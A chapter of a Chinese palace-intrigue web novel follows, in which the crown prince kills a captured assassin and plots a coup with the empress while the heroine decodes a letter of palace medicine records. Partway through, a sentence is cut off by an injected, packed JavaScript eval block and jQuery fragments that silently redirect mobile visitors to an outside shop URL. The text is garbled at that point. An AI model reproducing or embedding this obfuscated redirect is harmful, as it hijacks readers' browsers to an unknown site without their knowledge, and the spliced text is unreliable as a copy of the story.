三日,足以让太子无力回天。
皇帝既将案子交给太子亲审,是给他留足了余地。至于最后审出个什么结果并无人在意,朝堂眼下关切的,是兵部。兵部尚书一职空缺,朝中有人忐忑不安,有人幸灾乐祸,还有些,虎视眈眈。今日早朝,正阳殿内暗流涌动。
朝后宁府书房,顾行之早早就在那儿候着。
见宁珵远下朝回来,一身紫金官袍还未褪下,他便赶忙上前。
“如何,四皇子可有动作?”
宁珵远不急不忙,踱步至书案,吩咐下人掌茶后慢悠悠地说道:
“他已将账簿交由兵部侍郎,到时候朝堂上唱一出大官威慑,小官不敢言的好戏,将兵部老底在朝上揭个底朝天,皇帝就算再想护着太子,也不得不查。”
“那几十箱罪证都安置好了?”
“我已与慕家长子通好信,数箭齐发,太子此次在劫难逃。”
“他终于也有这一日了。”顾行之长舒一口气,他面上依旧冷寂,唯有瞳孔微微一缩,眼底掠过一丝幽冷的快意。
“当日我李家因知晓珍妃小产的内情,替皇后办事却被斩灭全族。只恨我孤身一人,不能凭一己之力手刃了庙堂之上坐着的那群畜生,至少也让东宫有了报应。”
“行之,恐怕这事不如你想得这么简单。皇帝既将人交给太子去审,想来知道兵部的猫腻,他想保太子。”
顾行之闻言,修长的手指捏住眉心:“你觉着此番不足以要他性命?”
“可是既然斩草,哪有不除根的道理。”
……
大理寺刑部,太子眸底凝着沉沉戾气,默然步入狱中,周身寒气压得人心中战栗。他玄衫扫过地上湿腻的青砖,一步一步,靠近刑室正中吊着的女子。
“你们都出去。”
狱官正提着笔坐在一旁的桌案边,准备录下口供:“太子殿下,这…不合规矩啊。”
“滚!”
他厉声呵斥,雄兽般的声音在阴暗的狱中回响,震得人肝胆俱颤。
官吏们赶忙连滚带爬地撤出了牢房。狱内昏暗,四周充斥着潮湿的血腥气,墙壁上湿哒哒地挂着混杂着泥水和血浆的刑具。正中央一串铁链绑着那个行刺的宫婢。一束光透过刑室狭窄的天窗落在她的脸上。
“是四弟派你来的。”
宫婢闭着眼,不做应答。
“据我所知,你根本就没有什么妹妹。孤身一人,倒是不怕死。”
太子背着手缓缓踱步:“以为杀个兵部尚书就能扳倒我,倒是没那么容易。”
太子皇后势力在朝中盘根错节,哪怕他犯了再大的错,皇后母家和一众老臣都不会去扶四皇子。也正是如此,他才有那么大的胆子私通外敌。
而那宫婢却突然笑了起来:“皇后都自身难保了,太子殿下还指着她?”
他闻言失笑,转过头看向宫婢惨白带着血痕的面庞:
“你究竟是谁?”
女子嘴角一抹鲜血溢出,却笑得愈发诡异:“太子殿下不是要审我吗?朝历五年皇后谋害珍妃小产,十三年捏造巫蛊案,太子殿下私通西辽贩卖军火案,您要先审哪一桩?”
话音刚落,太子双目骤缩,死死盯着面前宫婢的一双圆眼,周身戾气愈重,每一丝神情都透着骇人的凶厉:“究竟是谁派你来的?”
“那人替我转告太子殿下,他的东西,你配不上。”
果然是他!宁珵远!
太子拔出腰间宝剑,瞬时向宫婢喉头刺去。寒光一闪,剑锋直贯脖颈,透喉而过。
似是还不解恨意,他拔出长剑,又顺着那人喉咙直直向下刺去。
“与我作对,死路一条。今日是你,明日便是他。”男人紧咬牙关,恶狠狠地吐出几个字。
待他大步离开,大理寺官吏进入刑室一看,顿时汗毛直竖。只见铁链之间女子似吞剑状,仰头望着天窗,宝剑手柄竖在她口中,剑锋已然穿腹而出。
太子从大理寺回宫,径直去到凤鸾宫。
皇后侯在里头,见到太子急切起身。
“暨儿,我今日不知为何,总觉得心慌。兵部可有大碍?”
太子扶住皇后,背手掩住袖口沾上的血渍,将她送至殿内铺着云丝被的凤塌上。
“母后安心,明日朝上我会谏周家长子统管兵部,周太傅和祖父是世交,周家是可信的。”
他语气和缓,却掩饰不住眼底的烦懑。
“正是这件事,周太傅中秋宴刚散人就离京了。听说他寻到了嫡孙的踪迹,连着周家长子一起去寻人了。”
“你说什么!?”
太子再也按捺不住,双目骤然睁大,又惊又气。他一拳锤在塌前桌案上,紫檀长案霎时裂出一条长痕,随即断成了两半。
周太傅此时离京,定然是被算计好的。周家在朝中言重九鼎,如此一来若是兵部受到弹劾,胜算少了大半。
太子视线颤动着紧盯地面,似是不可置信自己有朝一日竟被人如此算计。本以为朝堂之上总有周家替自己出言,可偏偏此时周太傅最在意的小孙子有了下落。真是步步为营,招招紧逼啊。
“都下去。”他锦袍一挥,屏退了左右,而后向皇后踏近了一步。
“母后,倘若父皇知晓当年坑杀万人的巫蛊案是您和母家设计,该当如何?”
皇后一听,一双慈目骤然虚起,再没有往日半分温润和善。她斜瞅着太子,沉默片刻,开口:“怎会知晓?”
太子冷哼一声,他心中揣测,今日那名宫婢提及陈年旧案,定不只是为了激怒自己。他虽不知道宁珵远是否已经收集到罪证。可帝王之心一旦起疑,有没有罪证又有什么重要的呢?
“倘若当年珍妃小产真相大白,母后又该当如何?”
皇后染成鲜红色的指甲此刻深深陷入掌心,她眯着眼,眼角纹路显出更深,一双涂了正红口脂的薄唇紧紧抿成一条线。
太子又慢悠悠地说道:“此刻将周太傅调虎离山,想必是想在朝堂上一齐发难。今日我审那宫婢之时,她竟以此威胁,可见背后那人手中握着的东西,确是足以让我母子二人身名俱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636781|206606||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
灭。”
“母后,此刻你我可是绑在一条绳上的蚂蚱,儿子若是被废,不止母后,整个母族都无翻身之日。”
“你想怎么做?”
“坐以待毙,不如主动求变。”
皇后眉头紧锁,不可置信地望向齐暨:“你想夺位?”
寒光浮面,太子笑意森冷刺骨:“母后,等到朝堂之上桩桩罪案被翻出来的时候,命可就不再握在自己手上了。”
“若是儿子事成,您和您的母家,无上荣耀。”
“可若是败了……”
“儿臣京中养兵数万,虽不敌禁军,却胜在有备,若有舅舅帮持,怎能不胜?”
皇后摩挲着身前裂成两半的紫檀桌案,残碎的裂角尖锐地划过她掌心皮肤。
珍妃犯上,皇帝纵容几十年;太子在朝中地位不稳,他亦是视而不见;当年自己凭借母家权势助他上位,待朝局稳固他却处处打压。
她忽而自嘲地笑出声来,这么多年,她盼的竟只是得到他的一点疼爱,简直愚蠢!
是啊,若是事情败露,皇帝怎会顾及半点夫妻情分。
“暨儿,听母后一句劝,无论如何必要给自己留条后路,万不可孤注一掷。”
“母后放心,只管静坐凤鸾殿,静候儿臣佳音。”
……
平川阁这日收到了宁珵远命徐管家送来的一封密函。
信函用金红的信纸卷扎起来,上头还坠了一条桂枝。正是晚秋桂子最盛的时节,慕知言拿起信卷凑在鼻尖闻了闻,淡雅的清甜香气撩得人心醉。
银铃瞧了,忍不住打趣道:“将军给夫人送红笺情书呢!”
少女轻笑,一双柳叶眉温柔地弯着,她拆了信函去瞧。里头密密麻麻的,写的竟都是些草药的名字。
“十月廿三,嘉华殿,当归,白芍,熟地,虫草……”
正疑惑着,慕知言继续往下读去:
“凤鸾宫,桃胶,人参,白芷。昭阳殿,天山雪莲、苏合香丸、千年参?”
“苏合香丸?不是救命的珍品吗?”翠玉插话道。
“十月廿四,昭阳殿,又是山参、雪莲、虫草……”
昭阳殿,慕知言皱起眉心拼命回忆着。昭阳殿里,贞惠公主?
“夫人,将军送个草药方子来做什么,奴婢还以为是情书呢。”
“这不是药方子。”慕知言双目紧盯着手中信笺,手指将纸张边缘都握皱了:“这是太医院的药档。”
她猛然想起那日随宁珵远进宫,那个散乱着碎发从长街跑来的小姑娘,喘着粗气只为见他一眼。
救了东院那人的怎会是贞惠公主?
少女娇憨的面庞再一次浮现在慕知言的脑海中,而她看向宁珵远的眼中,满是倾慕。
倾慕…
她恍然大悟,贞惠公主心仪多年的男子一直都是宁府真正的嫡子。可是她是怎么发现宁家隐藏至深的秘密?那人此刻难道正在昭阳宫?
慕知言连忙吩咐翠玉将信笺烧了,提起裙摆迈开步子就急跑去书房。